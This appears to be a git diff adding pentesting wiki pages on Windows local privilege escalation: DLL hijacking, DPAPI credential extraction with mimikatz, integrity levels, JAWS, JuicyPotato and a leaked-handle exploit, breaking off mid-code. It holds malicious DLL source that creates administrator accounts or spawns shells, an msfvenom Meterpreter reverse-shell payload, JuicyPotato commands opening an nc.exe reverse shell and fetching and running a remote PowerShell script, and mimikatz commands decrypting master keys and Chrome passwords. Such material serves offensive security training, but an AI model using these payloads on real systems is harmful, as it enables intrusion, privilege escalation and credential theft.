+2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.\(_C:\Windows\System32_\)
+3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. \(_C:\Windows\System_\)
+4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. 
+   1. \(_C:\Windows_\)
+5. The current directory.
+6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
+
+That is the **default** search order with **SafeDllSearchMode** enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\**SafeDllSearchMode** registry value and set it to 0 \(default is enabled\).
+
+If [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) function is called with **LOAD\_WITH\_ALTERED\_SEARCH\_PATH** the search begins in the directory of the executable module that **LoadLibraryEx** is loading.
+
+Finally, note that **a dll could be loaded indicating the absolute path instead just the name**. In that case that dll is **only going to be searched in that path** \(if the dll has any dependencies, they are going to be searched as just loaded by name\).
+
+There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
+
+#### Exceptions on dll search order from Windows docs
+
+* If a **DLL with the same module name is already loaded in memory**, the system checks only for redirection and a manifest before resolving to the loaded DLL, no matter which directory it is in. **The system does not search for the DLL**.
+* If the DLL is on the list of **known DLLs** for the version of Windows on which the application is running, the **system uses its copy of the known DLL** \(and the known DLL's dependent DLLs, if any\) **instead of searching** for the DLL. For a list of known DLLs on the current system, see the following registry key: **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
+* If a **DLL has dependencies**, the system **searches** for the dependent DLLs as if they were loaded with just their **module names**. This is true **even if the first DLL was loaded by specifying a full path**.
+
+### Escalating Privileges
+
+**Requisites**:
+
+* **Find a process** that runs/will run as with **other privileges** \(horizontal/lateral movement\) that is **missing a dll.**
+* Have **write permission** on any **folder** where the **dll** is going to be **searched** \(probably the executable directory or some folder inside the system path\).
+
+Yeah, the requisites are complicated to find as **by default it's kind of weird to find a privileged executable missing a dll** and it's even **more weird to have write permissions on a system path folder** \(you can't by default\). But, in misconfigured environments this is possible.  
+In the case you are lucky and you find yourself meeting the requirements, you could check the [UACME](https://github.com/hfiref0x/UACME) project. Even if the **main goal of the project is bypass UAC**, you may find there a **PoC** of a Dll hijaking for the Windows version that you can use \(probably just changing the path of the folder where you have write permissions\).
+
+Note that you can **check your permissions in a folder** doing:
+
+```bash
+accesschk.exe -dqv "C:\Python27"
+icacls "C:\Python27"
+```
+
+And **check permissions of all folders inside PATH**:
+
+```bash
+for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
+```
+
+You can also check the imports of an executable and the exports of a dll with:
+
+```c
+dumpbin /imports C:\path\Tools\putty\Putty.exe
+dumpbin /export /path/file.dll
+```
+
+### Automated tools
+
+[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)will check if you have write permissions on any folder inside system PATH.  
+Other interesting automated tools to discover this vulnerability are **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ and _Write-HijackDll._
+
+### Example
+
+In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **\(bypassing UAC\)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](./#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**  
+Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**.
+
+## **Creating and compiling Dlls**
+
+### **Meterpreter**
+
+```bash
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
+```
+
+### Your own
+
+Note that in several cases the Dll that you compile must **export several functions** that are going to be loaded by the victim process, if these functions doesn't exist the **binary won't be able to load** them and the **exploit will fail**.
+
+```c
+// Tested in Win10
+// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
+#include <windows.h>
+BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
+    switch(dwReason){
+        case DLL_PROCESS_ATTACH:
+            system("whoami > C:\\users\\username\\whoami.txt");
+            WinExec("calc.exe", 0); //This doesn't accept redirections like system
+            break;
+        case DLL_PROCESS_DETACH:
+            break;
+        case DLL_THREAD_ATTACH:
+            break;
+        case DLL_THREAD_DETACH:
+            break;
+    }
+    return TRUE;
+}
+```
+
+```c
+// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
+// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
+
+#include <windows.h>
+BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
+    if (dwReason == DLL_PROCESS_ATTACH){
+        system("cmd.exe /k net localgroup administrators user /add");
+        ExitProcess(0);
+    }
+    return TRUE;
+}
+```
+
+```c
+//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
+//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
+
+#include <windows.h>
+
+int owned()
+{
+  WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
+  exit(0);
+  return 0;
+}
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
+{
+  owned();
+  return 0;
+}
+```
+
+```c
+//Another possible DLL
+// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
+
+#include<windows.h>
+#include<stdlib.h>
+#include<stdio.h>
+
+void Entry (){ //Default function that is executed when the DLL is loaded
+    system("cmd");
+}
+
+BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
+    switch (ul_reason_for_call){
+        case DLL_PROCESS_ATTACH:
+            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
+            break;
+        case DLL_THREAD_ATTACH:
+        case DLL_THREAD_DETACH:
+        case DLL_PROCESS_DEATCH:
+            break;
+    }
+    return TRUE;
+}
+```
+
diff --git a/windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md
new file mode 100644
index 00000000000..65efb48f52d
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/dpapi-extracting-passwords.md
@@ -0,0 +1,126 @@
+# DPAPI - Extracting Passwords
+
+While creating this post mimikatz was having problems with every action that interacted with DPAPI therefore **most of the examples and images were taken from**: [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
+
+## What is DPAPI
+
+Its primary use in the Windows operating system is to **perform symmetric encryption of asymmetric private keys**, using a user or system secret as a significant contribution of entropy.  
+**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets.
+
+This makes very easy to developer to **save encrypted data** in the computer **without** needing to **worry** how to **protect** the **encryption** **key**.
+
+## What does DPAPI protect?
+
+DPAPI is utilized to protect the following personal data:
+
+* Passwords and form auto-completion data in Internet Explorer, Google \*Chrome
+* E-mail account passwords in Outlook, Windows Mail, Windows Mail, etc.
+* Internal FTP manager account passwords
+* Shared folders and resources access passwords
+* Wireless network account keys and passwords
+* Encryption key in Windows CardSpace and Windows Vault
+* Remote desktop connection passwords, .NET Passport
+* Private keys for Encrypting File System \(EFS\), encrypting mail S-MIME, other user's certificates, SSL/TLS in Internet Information Services
+* EAP/TLS and 802.1x \(VPN and WiFi authentication\)
+* Network passwords in Credential Manager
+* Personal data in any application programmatically protected with the API function CryptProtectData. For example, in Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk etc.
+* ...
+
+{% hint style="info" %}
+An example of a successful and clever way to protect data using DPAPI is the implementation of the auto-completion password encryption algorithm in Internet Explorer. To encrypt the login and password for a certain web page, it calls the CryptProtectData function, where in the optional entropy parameter it specifies the address of the web page. Thus, unless one knows the original URL where the password was entered, nobody, not even Internet Explorer itself, can decrypt that data back.
+{% endhint %}
+
+## Master Keys 
+
+The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) of that user. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. \(Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS\).
+
+```bash
+Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
+Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
+Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
+Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
+Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
+Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
+```
+
+This is what a bunch of Master Keys of a user will looks like:
+
+![](../../.gitbook/assets/image%20%28360%29.png)
+
+Usually **each master keys is an encrypted symmetric key that can decrypt other content**. Therefore, **extracting** the **encrypted Master Key** is interesting in order to **decrypt** later that **other content** encrypted with it. 
+
+### Extract a master key
+
+If you know the password of the user who the master key belongs to and you can access the master key file you can obtain the master key with mimikatz and a command like the following one:
+
+```bash
+dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
+```
+
+![](../../.gitbook/assets/image%20%28356%29.png)
+
+You can see in green the extracted master key.
+
+### Extract all local Master Keys with Administrator
+
+If you are administrator you can obtain the dpapi master keys using:
+
+```text
+sekurlsa::dpapi
+```
+
+![](../../.gitbook/assets/image%20%28355%29.png)
+
+### Extract all backup Master Keys with Domain Admin
+
+A domain admin may obtain the backup dpapi master keys that can be used to decrypt the encrypted keys:
+
+```text
+lsadump::backupkeys /system:dc01.offense.local /export
+```
+
+![](../../.gitbook/assets/image%20%28357%29.png)
+
+Using the retrieved backup key, let's decrypt user's `spotless` master key:
+
+```bash
+dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
+```
+
+![](../../.gitbook/assets/image%20%28359%29.png)
+
+We can now decrypt user's `spotless` chrome secrets using their decrypted master key:
+
+```text
+dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
+```
+
+![](../../.gitbook/assets/image%20%28358%29.png)
+
+## Credential Files
+
+The **credentials files protected by the master password** could be located in:
+
+```text
+dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
+dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
+Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
+Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
+```
+
+You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt:
+
+```text
+dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
+```
+
+## Encrypting and Decrypting content
+
+You can find an example of how to encrypt and decyrpt data with DAPI using mimikatz and C++ in [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)  
+You can find an example on how to encrypt and decrypt data with DPAPI using C\# in [https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)
+
+## References
+
+* [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28\#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
+* [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
+
diff --git a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md b/windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
similarity index 92%
rename from src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
rename to windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
index 6969c48225a..be046f1d0a7 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
+++ b/windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md
@@ -1,16 +1,15 @@
 # From High Integrity to SYSTEM with Name Pipes
 
-{{#include ../../banners/hacktricks-training.md}}
-
 **Code flow:**
 
 1. Create a new Pipe
 2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
 3. The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
-4. Finally, uses the token obtained from the service to spawn a new _cmd.exe_
+4.  Finally, uses the token obtained from the service to spawn a new _cmd.exe_
 
-> [!WARNING]
-> If you don't have enough privileges the exploit may get stucked and never return.
+{% hint style="warning" %}
+If you don't have enough privileges the exploit may get stucked and never return.
+{% endhint %}
 
 ```c
 #include <windows.h>
@@ -119,7 +118,3 @@ int main() {
 }
 ```
 
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/windows/windows-local-privilege-escalation/integrity-levels.md b/windows/windows-local-privilege-escalation/integrity-levels.md
new file mode 100644
index 00000000000..7925bb98635
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/integrity-levels.md
@@ -0,0 +1,97 @@
+# Integrity Levels
+
+## Integrity Levels
+
+From Windows Vista, all **protected objects are labeled with an integrity level**. Most user and system files and registry keys on the system have a default label of “medium” integrity. The primary exception is a set of specific folders and files writeable by Internet Explorer 7 at Low integrity. **Most processes** run by **standard users** are labeled with **medium integrity** \(even the ones started by a user inside the administrators group\), and most **services** are labeled with **System integrity**. The root directory is protected by a high-integrity label.  
+Note that **a process with a lower integrity level can’t write to an object with a higher integrity level.**  
+There are several levels of integrity:
+
+* **Untrusted** – processes that are logged on anonymously are automatically designated as Untrusted. _Example: Chrome_
+* **Low** – The Low integrity level is the level used by default for interaction with the Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files and processes associated with it are assigned the Low integrity level. Some folders, such as the **Temporary Internet Folder**, are also assigned the **Low integrity** level by default. However,  note that a **low integrity process** is very **restricted**, it **cannot** write to the **registry** and it’s limited from writing to **most locations** in the current user’s profile.  _Example: Internet Explorer or Microsoft Edge_
+* **Medium** – Medium is the context that **most objects will run in**. Standard users receive the Medium integrity level, and any object not explicitly designated with a lower or higher integrity level is Medium by default. Not that a user inside the Administrators group by default will use medium integrity levels.
+* **High** – **Administrators** are granted the High integrity level. This ensures that Administrators are capable of interacting with and modifying objects assigned Medium or Low integrity levels, but can also act on other objects with a High integrity level, which standard users can not do. _Example: "Run as Administrator"_
+* **System** – As the name implies, the System integrity level is reserved for the system. The Windows kernel and core services are granted the System integrity level. Being even higher than the High integrity level of Administrators protects these core functions from being affected or compromised even by Administrators. Example: Services
+* **Installer** – The Installer integrity level is a special case and is the highest of all integrity levels. By virtue of being equal to or higher than all other WIC integrity levels, objects assigned the Installer integrity level are also able to uninstall all other objects.
+
+You can get the integrity level of a process using **Process Explorer** from **Sysinternals**, accessing the **properties** of the process and viewing the "**Security**" tab:
+
+![](../../.gitbook/assets/image%20%28349%29.png)
+
+You can also get your **current integrity level** using `whoami /groups`
+
+![](../../.gitbook/assets/image%20%28350%29.png)
+
+### Integrity Levels in File-system
+
+A object inside the file-system may need an **minimum integrity level requirement** and if a process doesn't have this integrity process it won't be able to interact with it.  
+For example, lets **create a regular from a regular user console file and check the permissions**:
+
+```text
+echo asd >asd.txt
+icacls asd.txt
+asd.txt BUILTIN\Administrators:(I)(F)
+        DESKTOP-IDJHTKP\user:(I)(F)
+        NT AUTHORITY\SYSTEM:(I)(F)
+        NT AUTHORITY\INTERACTIVE:(I)(M,DC)
+        NT AUTHORITY\SERVICE:(I)(M,DC)
+        NT AUTHORITY\BATCH:(I)(M,DC)
+```
+
+Now, lets assign a minimum integrity level of **High** to the file. This **must be done from a console** running as **administrator** as a **regular console** will be running in Medium Integrity level and **won't be allowed** to assign High Integrity level to an object:
+
+```text
+icacls asd.txt /setintegritylevel(oi)(ci) High
+processed file: asd.txt
+Successfully processed 1 files; Failed processing 0 files
+
+C:\Users\Public>icacls asd.txt
+asd.txt BUILTIN\Administrators:(I)(F)
+        DESKTOP-IDJHTKP\user:(I)(F)
+        NT AUTHORITY\SYSTEM:(I)(F)
+        NT AUTHORITY\INTERACTIVE:(I)(M,DC)
+        NT AUTHORITY\SERVICE:(I)(M,DC)
+        NT AUTHORITY\BATCH:(I)(M,DC)
+        Mandatory Label\High Mandatory Level:(NW)
+```
+
+This is where things get interesting. You can see that the user `DESKTOP-IDJHTKP\user` has **FULL privileges** over the file \(indeed this was the user that created the file\), however, due to the minimum integrity level implemented he won't be able to modify the file anymore unless he is running inside a High Integrity Level \(note that he will be able to read it\):
+
+```text
+echo 1234 > asd.txt
+Access is denied.
+
+del asd.txt
+C:\Users\Public\asd.txt
+Access is denied.
+```
+
+{% hint style="info" %}
+**Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.**
+{% endhint %}
+
+### Integrity Levels in Binaries
+
+I made a copy of `cmd.exe` in `C:\Windows\System32\cmd-low.exe` and set it an **integrity level of low from an administrator console:**
+
+```text
+icacls C:\Windows\System32\cmd-low.exe
+C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F)
+                                BUILTIN\Administrators:(I)(F)
+                                BUILTIN\Users:(I)(RX)
+                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
+                                APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)
+                                Mandatory Label\Low Mandatory Level:(NW)
+```
+
+Now, when I run `cmd-low.exe` it will **run under a low-integrity level** instead of a medium one:
+
+![](../../.gitbook/assets/image%20%28351%29.png)
+
+For curious people, if you assign high integrity level to a binary \(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`\) it won't run with high integrity level automatically \(if you invoke it from a medium integrity level --by default-- it will run under a medium integrity level\).
+
+### Integrity Levels in Processes
+
+Not all files and folders have a minimum integrity level, **but all processes are running under an integrity level**. And similar to what happened with the file-system, **if a process wants to write inside another process it must have at least the same integrity level**. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level.
+
+Due to the restrictions commented in this and the previous section, from a security point of view, it's always **recommended to run a process in the lower level of integrity possible**.
+
diff --git a/windows/windows-local-privilege-escalation/jaws.md b/windows/windows-local-privilege-escalation/jaws.md
new file mode 100644
index 00000000000..4fa148a3d97
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/jaws.md
@@ -0,0 +1,33 @@
+# JAWS
+
+
+
+## Start
+
+```text
+iex(New-Object net.WebClient).downloadstring("https://raw.githubusercontent.com/411Hall/JAWS
+/master/jaws-enum.ps1")
+```
+
+## Info recopilation
+
+It does not only check for privilege escalation missconfiguration, but it also gathers information about the current situation.
+
+* [x] Users & groups
+* [x] Network \(interfaces, arp, ports, firewall \(lot of output\), **hosts**\)
+* [x] Processes
+* [x] Scheduled Tasks \(lot of output\)
+* [x] Services \(lot of output\)
+* [x] Installed Software, Program folders
+* [x] Patches
+* [x] Drives
+* [x] Last modified files
+
+## Checks
+
+* [x] Files and folders with Full Control
+* [x] Unquoted Service Paths
+* [x] Potentially interesting files
+* [x] System files with password
+* [x] Stored credentials
+
diff --git a/windows/windows-local-privilege-escalation/juicypotato.md b/windows/windows-local-privilege-escalation/juicypotato.md
new file mode 100644
index 00000000000..658d8d2ea88
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/juicypotato.md
@@ -0,0 +1,115 @@
+# JuicyPotato
+
+#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
+
+## Juicy Potato \(abusing the golden privileges\) <a id="juicy-potato-abusing-the-golden-privileges"></a>
+
+_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
+
+### Summary <a id="summary"></a>
+
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799%28v=vs.85%29.aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
+
+We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
+
+> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
+
+We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
+
+1. be instantiable by the current user, normally a “service user” which has impersonation privileges
+2. implement the `IMarshal` interface
+3. run as an elevated user \(SYSTEM, Administrator, …\)
+
+After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
+
+### Juicy details <a id="juicy-details"></a>
+
+JuicyPotato allows you to:
+
+* **Target CLSID**  _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
+* **COM Listening port**  _define COM listening port you prefer \(instead of the marshalled hardcoded 6666\)_
+* **COM Listening IP address**  _bind the server on any IP_
+* **Process creation mode**  _depending on the impersonated user’s privileges you can choose from:_
+  * `CreateProcessWithToken` \(needs `SeImpersonate`\)
+  * `CreateProcessAsUser` \(needs `SeAssignPrimaryToken`\)
+  * `both`
+* **Process to launch**  _launch an executable or script if the exploitation succeeds_
+* **Process Argument**  _customize the launched process arguments_
+* **RPC Server address**  _for a stealthy approach you can authenticate to an external RPC server_
+* **RPC Server port**  _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
+* **TEST mode**  _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
+
+### Usage <a id="usage"></a>
+
+```text
+T:\>JuicyPotato.exe
+JuicyPotato v0.1
+
+Mandatory args:
+-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
+-p <program>: program to launch
+-l <port>: COM server listen port
+
+
+Optional args:
+-m <ip>: COM server listen address (default 127.0.0.1)
+-a <argument>: command line argument to pass to program (default NULL)
+-k <ip>: RPC server ip address (default 127.0.0.1)
+-n <port>: RPC server listen port (default 135)
+```
+
+### Final thoughts <a id="final-thoughts"></a>
+
+If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
+
+It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging.
+
+The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS.
+
+From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
+
+## Examples
+
+Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
+
+### Get a nc.exe reverse shell
+
+```text
+c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
+
+Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
+......
+[+] authresult 0
+{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
+
+[+] CreateProcessWithTokenW OK
+
+c:\Users\Public>
+```
+
+### Powershell rev
+
+```text
+.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
+```
+
+### Launch a new CMD \(if you have RDP access\)
+
+![](../../.gitbook/assets/image%20%2860%29.png)
+
+## CLSID Problems
+
+Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
+
+{% embed url="https://ohpe.it/juicy-potato/CLSID/" caption="" %}
+
+### **Checking CLSIDs**
+
+First, you will need some executables apart from juicypotato.exe.
+
+Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test.
+
+Then download [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)\(change the path to the CLSID list and to the juicypotato executable\) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**.
+
+**Check** the working CLSIDs **using the parameter -c**
+
diff --git a/windows/windows-local-privilege-escalation/leaked-handle-exploitation.md b/windows/windows-local-privilege-escalation/leaked-handle-exploitation.md
new file mode 100644
index 00000000000..1c76b7f43e2
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/leaked-handle-exploitation.md
@@ -0,0 +1,603 @@
+# Leaked Handle Exploitation
+
+Imagine that **a process running as SYSTEM open a new process** \(`OpenProcess()`\) with **full access**. The same process **also create a new process** \(`CreateProcess()`\) **with low privileges but inheriting all the open handles of the main process**.  
+Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.
+
+**The code of this example was shared by an anonymous person.**
+
+## Vulnerable Example
+
+For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** \(by copying the low privileged token of _explorer.exe_\) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**.
+
+Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode \(see next section\).
+
+```c
+#include <windows.h>
+#include <tlhelp32.h>
+#include <tchar.h>
+#pragma comment (lib, "advapi32")
+
+TCHAR* serviceName = TEXT("HandleLeakSrv");
+SERVICE_STATUS serviceStatus;
+SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
+HANDLE stopServiceEvent = 0;
+
+
+//Find PID of a proces from its name
+int FindTarget(const char *procname) {
+
+	HANDLE hProcSnap;
+	PROCESSENTRY32 pe32;
+	int pid = 0;
+			
+	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
+			
+	pe32.dwSize = sizeof(PROCESSENTRY32); 
+			
+	if (!Process32First(hProcSnap, &pe32)) {
+			CloseHandle(hProcSnap);
+			return 0;
+	}
+			
+	while (Process32Next(hProcSnap, &pe32)) {
+			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
+					pid = pe32.th32ProcessID;
+					break;
+			}
+	}
+			
+	CloseHandle(hProcSnap);
+			
+	return pid;
+}
+
+
+int Exploit(void) {
+	
+  STARTUPINFOA si;
+  PROCESS_INFORMATION pi;
